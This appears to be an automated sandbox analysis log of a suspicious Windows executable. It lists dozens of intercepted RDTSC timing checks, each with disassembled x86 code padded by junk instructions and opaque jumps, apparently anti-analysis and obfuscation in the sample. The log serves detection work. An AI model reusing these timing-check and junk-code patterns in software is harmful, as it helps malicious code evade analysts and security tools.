Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E06EA second address: 11E06EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E06EE second address: 11E06F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFAEA second address: 11EFAEF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFAEF second address: 11EFAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFAFC second address: 11EFB02 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFB02 second address: 11EFB1F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F6940DA8854h 0x00000008 pop ecx 0x00000009 push esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFDE7 second address: 11EFDED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFDED second address: 11EFDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFDF3 second address: 11EFDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFDF7 second address: 11EFDFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F28C8 second address: 11F28CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F28CE second address: 11F28FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F6940DA8859h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F6940DA884Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F29F5 second address: 11F2A98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a add edi, dword ptr [ebp+122D2CE0h] 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D39C7h], ecx 0x00000018 push 08020ECBh 0x0000001d jc 00007F6940DA84FEh 0x00000023 jmp 00007F6940DA84F8h 0x00000028 xor dword ptr [esp], 08020E4Bh 0x0000002f stc 0x00000030 push 00000003h 0x00000032 call 00007F6940DA84ECh 0x00000037 movsx edx, si 0x0000003a pop esi 0x0000003b push 00000000h 0x0000003d pushad 0x0000003e movzx eax, cx 0x00000041 mov al, 15h 0x00000043 popad 0x00000044 push 00000003h 0x00000046 pushad 0x00000047 sub dword ptr [ebp+122D39FAh], edi 0x0000004d jmp 00007F6940DA84F5h 0x00000052 popad 0x00000053 push ADE540C2h 0x00000058 pushad 0x00000059 jmp 00007F6940DA84F0h 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2A98 second address: 11F2A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2A9C second address: 11F2ADD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6940DA84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 121ABF3Eh 0x00000012 add edx, 18476127h 0x00000018 push ebx 0x00000019 jng 00007F6940DA84ECh 0x0000001f sub dword ptr [ebp+122D2A35h], ecx 0x00000025 pop edi 0x00000026 lea ebx, dword ptr [ebp+12457714h] 0x0000002c xor esi, dword ptr [ebp+122D39F0h] 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 jmp 00007F6940DA84EAh 0x0000003b pop edi 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2ADD second address: 11F2AE2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2B56 second address: 11F2B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2B5A second address: 11F2B67 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6940DA8846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2B67 second address: 11F2BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jg 00007F6940DA84FAh 0x0000000f nop 0x00000010 cld 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D2D60h] 0x00000019 call 00007F6940DA84E9h 0x0000001e jmp 00007F6940DA84F3h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jnl 00007F6940DA84F3h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2BC6 second address: 11F2BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2BCC second address: 11F2BDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2BDD second address: 11F2BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2BE1 second address: 11F2BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2BE5 second address: 11F2C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F6940DA884Eh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push edi 0x00000013 jo 00007F6940DA884Ch 0x00000019 pop edi 0x0000001a pop eax 0x0000001b mov dword ptr [ebp+122D2A3Dh], edx 0x00000021 push 00000003h 0x00000023 pushad 0x00000024 mov bh, 5Fh 0x00000026 add dword ptr [ebp+122D3A55h], ebx 0x0000002c popad 0x0000002d push 00000000h 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F6940DA8848h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b push AFF1C1BCh 0x00000050 pushad 0x00000051 jmp 00007F6940DA884Eh 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121267F second address: 12126B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6940DA84F3h 0x0000000b pop edx 0x0000000c pushad 0x0000000d jnc 00007F6940DA84F3h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210845 second address: 1210862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6940DA8855h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121122B second address: 1211230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211230 second address: 1211262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA884Ch 0x00000009 jmp 00007F6940DA8851h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6940DA884Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211262 second address: 121126C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6940DA84E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12113D4 second address: 12113DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6940DA8846h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12113DE second address: 12113F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6940DA84F0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12113F8 second address: 1211418 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6940DA8846h 0x00000008 jg 00007F6940DA8846h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F6940DA8846h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211567 second address: 1211592 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6940DA84E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F6940DA84F1h 0x00000012 pop edi 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007F6940DA84E6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211592 second address: 1211596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209A14 second address: 1209A7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F7h 0x00000007 jmp 00007F6940DA84EDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jp 00007F6940DA84E6h 0x00000015 jng 00007F6940DA84E6h 0x0000001b je 00007F6940DA84E6h 0x00000021 popad 0x00000022 jmp 00007F6940DA84F5h 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a pushad 0x0000002b popad 0x0000002c jmp 00007F6940DA84F2h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12188FF second address: 1218905 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219CDA second address: 1219CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F6940DA84F0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D95D second address: 121D979 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6940DA8846h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007F6940DA8846h 0x00000013 pop eax 0x00000014 js 00007F6940DA884Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D979 second address: 121D994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F6940DA84F0h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D00F second address: 121D013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D013 second address: 121D027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F6940DA84ECh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D32D second address: 121D344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F6940DA8846h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jc 00007F6940DA8846h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EF27 second address: 121EF2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EF2B second address: 121EF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F3DA second address: 121F3FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F4C7 second address: 121F4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F4D0 second address: 121F4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F4D4 second address: 121F4E2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F4E2 second address: 121F4E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F4E6 second address: 121F4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F4EC second address: 121F4F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6940DA84E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FCCA second address: 121FCD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FDC7 second address: 121FDD4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FDD4 second address: 121FDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FEBF second address: 121FEC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6940DA84E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FFE6 second address: 121FFEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220193 second address: 1220198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220198 second address: 12201AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jc 00007F6940DA8846h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220224 second address: 1220228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220228 second address: 1220231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221017 second address: 1221031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6940DA84EFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221031 second address: 12210B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6940DA8850h 0x00000008 jnl 00007F6940DA8846h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F6940DA8848h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov esi, 61491193h 0x00000031 sub dword ptr [ebp+122D366Fh], esi 0x00000037 push 00000000h 0x00000039 mov edi, dword ptr [ebp+122D2B1Ch] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007F6940DA8848h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 0000001Ch 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b movzx edi, dx 0x0000005e push eax 0x0000005f push ecx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222094 second address: 122209A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122209A second address: 122209E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122209E second address: 12220A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122357A second address: 1223584 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6940DA8846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224070 second address: 1224075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223384 second address: 122338E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6940DA8846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223DDC second address: 1223E10 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F6940DA84F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6940DA84F7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122338E second address: 122339D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA884Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224BDB second address: 1224C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6940DA84F7h 0x0000000e nop 0x0000000f mov edi, ecx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F6940DA84E8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov si, bx 0x00000032 xchg eax, ebx 0x00000033 jmp 00007F6940DA84EAh 0x00000038 push eax 0x00000039 jng 00007F6940DA84F4h 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122571B second address: 1225720 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229824 second address: 122982B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122982B second address: 1229832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229832 second address: 1229859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6940DA84E6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F6940DA84E6h 0x00000016 jmp 00007F6940DA84F1h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229859 second address: 1229871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229871 second address: 1229875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229875 second address: 1229890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA8852h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229890 second address: 1229896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229896 second address: 12298A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BE78 second address: 122BE92 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6940DA84E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F6940DA84EEh 0x00000012 jc 00007F6940DA84E6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BE92 second address: 122BEC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jne 00007F6940DA8846h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F6940DA8859h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BEC2 second address: 122BEF0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F6940DA84EDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F6940DA84F5h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122C4F5 second address: 122C4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
